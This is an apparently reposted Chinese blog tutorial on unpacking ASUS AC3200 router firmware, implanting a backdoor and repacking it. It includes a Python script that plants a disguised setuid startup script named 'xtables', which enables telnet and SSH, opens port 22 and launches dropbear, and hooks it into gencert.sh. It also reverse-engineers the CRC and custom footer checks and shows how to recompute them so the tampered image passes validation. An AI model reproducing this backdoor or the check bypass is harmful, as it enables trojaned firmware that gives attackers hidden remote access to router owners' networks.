Golang编程语言知识介绍


  • 首页

  • todo

  • 思考

  • life

  • food

  • OS

  • lua

  • redis

  • Golang

  • C

  • TCP/IP

  • ebpf

  • p4

  • OpenVPN

  • IPSec

  • L2TP

  • DNS

  • distributed

  • web

  • OpenWRT

  • 运维

  • Git

  • 鸟哥的私房菜

  • IT杂谈

  • 投资

  • About Me

  • 友情链接

  • FTP

  • 搜索
close

华硕AC系列固件重打包与后门植入

时间: 2023-04-26   |   分类: OpenWrt     |   阅读: 2252 字 ~5分钟

以下内容转载自

写在前面:华硕 AC 系列固件设备数量很多,,这篇文章对华硕 AC 系列固件进行了分析,并研究了其重打包方法。本篇文章以华硕 AC3200 固件为例。

1. 固件解包及基本结构解析

首先用 binwalk 对华硕 AC3200 固件进行扫描:

img

由 binwalk 扫描发现固件由 3 部分组成:TRX 头、内核以及文件系统构成。再拿 firmware-mod-kit 也解包扫描一下,最终可以发现其实这个固件是由 4 部分组成,文件系统中包含 FOOTER 字段(其实 FOOTER 字段就是文件系统的一部分):

  1. TRX 头
  2. 内核:偏移是 0x1C,范围是 0x1C-0x1AFD23
  3. 文件系统:偏移是 0x1AFD24,范围是 0x1AFD24-0x26C2B7F
  4. FOOTER:这个 footer 是 binwalk 扫描不出来的,是 firmware-mod-kit 扫描出来的,firmware-mod-kit 这个算法很奇怪,总体来说就是从尾部向上找,当发现固件末尾都是 00 但是其中混杂着非 00 的信息时,就认为是有 FOOTER 的。FOOTER 长度的计算方式也很有意思,从最末端开始向上找,每过一个字节,就 + 16,当找到那条非 00 的信息时结束。虽然不知道为什么这么计算,但是确实可以找到尾部的标志信息,具体的信息可以看一下 firmware-mod-kit 的具体算法,如图所示。拿 winhex 看一下固件,确实也发现了在尾部的 FOOTER 信息。
  5. img
  6. img

固件解包可以直接用 firmware-mod-kit 实现:

./extract-firmware.sh RT-AC3200_3.0.0.4_382_51940-ga3b9d4a.trx

成功的进行了解包,解出来的文件系统存储在 fmk 文件夹下。下一步我们在该文件夹系统下添加后门,在这里直接在开机执行的 shell 脚本中添加我们需要执行的命令,在这里我们开启一个 ssh 连接,生成后门代码如下,功能即为开启 ssh:

import os    
os.system("touch fmk/rootfs/usr/sbin/xtables")    
os.system("echo 'sleep 120' >> fmk/rootfs/usr/sbin/xtables")    
os.system("echo 'nvram set sshd_enable=1' >> fmk/rootfs/usr/sbin/xtables")    
os.system("echo 'nvram set sshd_port_x=22' >> fmk/rootfs/usr/sbin/xtables")    
os.system("echo 'nvram set sshd_port=22' >> fmk/rootfs/usr/sbin/xtables")    
os.system("echo 'nvram set telnetd_enable=1' >> fmk/rootfs/usr/sbin/xtables")    
os.system("echo 'nvram set sshd_pass=1' >> fmk/rootfs/usr/sbin/xtables")    
os.system("echo 'service start_telnetd' >> fmk/rootfs/usr/sbin/xtables")    
os.system("echo 'service start_sshd' >> fmk/rootfs/usr/sbin/xtables")    
os.system("echo 'sleep 10' >> fmk/rootfs/usr/sbin/xtables")    
os.system("echo 'iptables -I INPUT -p tcp --dport 22 -j ACCEPT' >> fmk/rootfs/usr/sbin/xtables")    
os.system("echo 'sleep 30' >> fmk/rootfs/usr/sbin/xtables")    
os.system("echo 'dropbear -a -p 22' >> fmk/rootfs/usr/sbin/xtables")    
os.system("chmod 4777 fmk/rootfs/usr/sbin/xtables")    
os.system("echo '/usr/sbin/xtables &' >> fmk/rootfs/usr/sbin/gencert.sh")

2. 固件打包

此时添加完后门后,我们利用 firmware-mod-kit 直接进行重打包:

./build_firmware.sh fmk/

这里直接进行重打包时,会报一个错误,如图:

img

由于加入了后门文件,导致现在的文件系统比原来的文件系统大,这样会重打包失败,因此我们可以缩减一下里面一些文件的大小,这里通过缩减所有图片的分辨率,来降低文件系统大小、

import os    
def search(root, target):        
    items = os.listdir(root)        
    for item in items:            
 path = os.path.join(root, item)            
 if os.path.isdir(path):                                
     search(path, target)            
        if target in path.split('/')[-1]:                
     os.system("convert " + path + " " + path + ".gif")                
     os.system("convert -strip -quality 75% " + path + ".gif " + path + ".gif")                
     os.system("rm " + path)                
     os.system("mv " + path + ".gif " + path)
search("fmk/rootfs/www/images/", ".png")

此时再次执行重打包,即可成功:

img

3. 固件校验

进行完固件重打包后,固件在更新上传时会有校验,校验的函数在 libshared.so 文件中,名为 check_imagefile。校验的关键代码如下:

img

发现主要是对固件做了两个校验,分别是 crc 校验和 trx 校验。分别对这两个校验进行一下解析。首先看一下 check_crc 函数。其校验代码如下,作用即为检查 trx 头部的 crc 字段。

img

其实 crc 字段在 firmware-mod-kit 打包时,就已经自动进行了更新,但是还是看一下其原理。check_crc 这个函数主要就是为读取了一下 TRX 头,然后对其中的某些字段做了校验。TRX 头部结构如下:

struct trx_header {
 uint32_t magic;  /* "HDR0" */
 uint32_t len;  /* Length of file including header */
 uint32_t crc32;  /* 32-bit CRC from flag_version to end of file */
 uint32_t flag_version; /* 0:15 flags, 16:31 version */
 uint32_t offsets[4]; /* Offsets of partitions from start of header */
};

由此可知,check_crc 应该就是检查的 TRX 头部的 crc32 字段,其中 crc32 字段存放的应该就是从 flag_version 至文件尾的 CRCC 校验值。我们这里拿 winhex 做一下计算,发现计算结果和 crc32 字段不一致,其实固件里存放的 crc32 字段是该计算结果取反后的。

2 进制 (原码) 1001 0001 1000 1000 0001 1010 1101 11102 进制 (按位取反) 0110 1110 0111 0111 1110 0101 0010 000116 进制 (原码) 91881ADE16 进制 (按位取反) 6E77E521

img

image

第二个校验函数为 check_trx 函数,虽然名为 check_trx,经过分析发现其是华硕自己设计的检查尾部某个字节的函数。这个函数的功能如下,看到其首先检查了一下 trx 头是否可读。将 trx 头部信息读取到了 v8 缓存中,根据 v8 和 v9 的栈上的偏移,可以得出 v9 即为 trx 头部信息的第二个字段,长度字段。因此可以得出 v9>0x8fdc30,之后在固件中,分别选取了两个位置的字节(0x24E4 和 0x8FDC30)进行了计算,并同固件中的某个位置的值做检查。简而言之就是计算得到的 v10,和其中原本存放的位置 a2 做检查,看是否相等。

img

img

下面我们需要确定一下这个计算得到的字节,到底存放在固件的哪个位置,我们知道这个字节存放在 a2 参数中,因此查看他的父函数 check_imagefile 函数(图在前面粘过),发现在父函数中,对应的变量为 v21。因此查看一下 v21 参数所在的栈位置。比较坑的是,在这里 ida 的解析出现了问题,解析出来了 v3 和 v4 两个指向 FILE 的指针,在这里结合 Ghidra 做一下分析:

img

img

根据分析可以发现,v3 打开了文件后,用 fseek 做了一下指针的移动,注意根据 fseek 函数定义,该指针是从文件尾开始移动的。之后用 fread 读取了 0x40 个字节至 v17 空间。根据 v17 和 v21 在栈上的偏移得知,二者相差 0x24,因此 v21 所在的字节就是从文件末尾起,0x40-0x24=0x1C 处。也就是固件 FOOTER 字段里的最后一个非 00 值。

int fseek(FILE *stream, long int offset, int whence)
stream -- 这是指向 FILE 对象的指针,该 FILE 对象标识了流。
offset -- 这是相对 whence 的偏移量,以字节为单位。
whence -- 这是表示开始添加偏移 offset 的位置。它一般指定为下列常量之一:
SEEK_SET 文件的开头
SEEK_CUR 文件指针的当前位置
SEEK_END 文件的末尾

img

综上,我们知道,华硕会对固件中指定位置(0x24E4 和 0x8FDC30)的两个字节做一个计算:将后面那个字节按位取反然后和前面字节相加相加,之后将这个值存放到文件尾部,作为固件的防护手段。

我们用原先的 AC3200 固件做一下检查,其 0x24E4 和 0x8FDC30 字段分别存放着 0xD1 和 0x16,然后经过~0x16+0xD1 计算得到 0x1BA,取单字节为 0xBA,计算正确,因此重打包后的文件系统,经过计算将该字节修改正确即可。

综上,实现了最终的固件重打包,华硕固件结构比较简单,简而言之就是 TRX 头部 + 内核 + 文件系统(包含 FOOTER 字段)。重打包时只需要打包对应文件系统,然后添加内核和 TRX 头部,并且通过 CRC 校验和华硕自己涉及的尾部校验即可。

华硕

撤稿纠错

本作品采用《CC 协议》,转载必须注明作者和本文链接

#OpenWrt#
VSCode远程调试linux程序
小米固件mkxqimage
shankusu2017@gmail.com

shankusu2017@gmail.com

日志
分类
标签
GitHub
© 2009 - 2025
粤ICP备2021068940号-1 粤公网安备44011302003059
0%